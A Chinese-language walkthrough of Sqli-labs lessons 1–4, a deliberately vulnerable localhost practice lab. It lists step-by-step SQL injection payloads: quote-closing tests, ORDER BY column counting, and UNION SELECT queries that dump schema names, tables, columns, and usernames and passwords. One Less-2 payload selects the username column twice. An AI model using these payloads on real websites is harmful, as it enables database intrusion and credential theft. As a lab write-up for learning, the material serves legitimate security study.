Sqli-labs
Sqli-labs——Less-1
考点
- 字符型注入
- 注入点初判
方法一
首先利用Hackbar工具进行注入操作。
在此之前需要了解一些基本的字符与URL编码:
SQL语句中的注释符:
--+ URL中编码为 --%2B
# URL中编码为%23
将?id=1' ?id=1"
分别输入URL中查看报错情况,第一种情况报错。说明是字符型注入(单引号注入)payload如下:
http://127.0.0.1/sqli-labs/Less-1/?id=1' --+
我们数单引号,这里按对数从外到内最后会发现单出来一个单引号。从这里判断注入点与注入类型。
在后台PHP中执行的SQL语句是:
Select ****** where id = '1' or 1 = 1 --+ ' LIMIT 0,1
注意这里的三个单引号,单引号是成对存在的从外到内在最中间多出来的一个单引号就是我们所输入的单引号,这样就达成了语句闭合的目的。
暴库
使用二分法联合查询字段数,观察页面变化从而确定字段数
- order by
- union select(XXXX) --+
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 3 --+
页面回显正常,可以判断它的列数为3列。
联合注入:
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,3 --+
这里需要了解系统函数:
1.系统函数
介绍几个常用函数:
1. version()——MySQL 版本
2. user()——数据库的用户
3. database()——当前数据库名
4. @@datadir——数据库路径
5. @@version_compile_os——操作系统版本
2.数据库字符串连接函数:(会的跳过)
函数具体介绍 http://www.cnblogs.com/lcamry/p/5715634.html
1. concat(str1,str2,...)——没有分隔符地连接字符串
2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号(默认)分隔每一条数据
说着比较抽象,说着比较抽象,其实也并不需要详细了解,知道这三个函数能一次性查出所有信息就行了。
这里我们可以在第2位和第3位进行注入。payload如下:
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
这样我们的数据库就爆出来了security
。
爆表
payload如下:
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'),3 --+
爆出表名为如下:
爆字段(列名)
payload如下:
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name = 'users') --+
爆出列名如下:
爆数据
payload如下:
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=2 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) --+
爆出账户密码如下:
Sqli-labs——2
考点
- 整型
- union 联合注入
方法一
判断注入点
payload如下:
http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=2 --+
整型。
爆字段数
payload如下:
http://127.0.0.1/sqli-labs/Less-2/?id=1 order by 3 --+ 3
联合查询查看显示位
payload如下:
http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,3 --+ 2,3
显示位在2、3位上。
暴库
payload如下:
http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
爆表
payload如下:
http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+
爆字段(列名)
payload如下:
http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+
爆数据
payload如下:
http://127.0.0.1/sqli-labs/Less-2/?id=1 and 1=2 union select 1,(select group_concat(username) from security.users),(select group_concat(username) from security.users) --+
Sqli-labs——3
考点
- 字符型(单引号变形)
- union 联合注入
方法一
判断注入点
payload如下:
http://127.0.0.1/sqli-labs/Less-3/?id=1' order by 3 --+
刚开始判断为单引号(字符型)注入,当开始爆字段发现它是单引号变形的。
爆字段数
payload如下:
http://127.0.0.1/sqli-labs/Less-3/?id=1') order by 3 --+
联合查询显示位
payload如下:
http://127.0.0.1/sqli-labs/Less-3/?id=1') union select 1,2,3 --+
暴库
payload如下:
http://127.0.0.1/sqli-labs/Less-3/?id=1') and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+
爆表
payload如下:
http://127.0.0.1/sqli-labs/Less-3/?id=1') and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
爆字段(列名)
payload如下:
http://127.0.0.1/sqli-labs/Less-3/?id=1') and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
爆数据
payload如下:
http://127.0.0.1/sqli-labs/Less-3/?id=1') and 1=2 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+
Sqli-labs——4
考点
- 字符型(双引号)
- union 联合注入
方法一
判断注入点
payload如下:
http://127.0.0.1/sqli-labs/Less-4/?id=1"
爆字段数
payload如下:
http://127.0.0.1/sqli-labs/Less-4/?id=1") order by 3 --+
联合查询显示位
payload如下:
http://127.0.0.1/sqli-labs/Less-4/?id=1") and 1=2 union select 1,2,3--+
暴库
payload如下:
http://127.0.0.1/sqli-labs/Less-4/?id=1") and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+
爆表
payload如下:
http://127.0.0.1/sqli-labs/Less-4/?id=1") and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+
爆字段(列名)
payload如下:
http://127.0.0.1/sqli-labs/Less-4/?id=1") and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
爆数据
payload如下:
http://127.0.0.1/sqli-labs/Less-4/?id=1") and 1=2 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+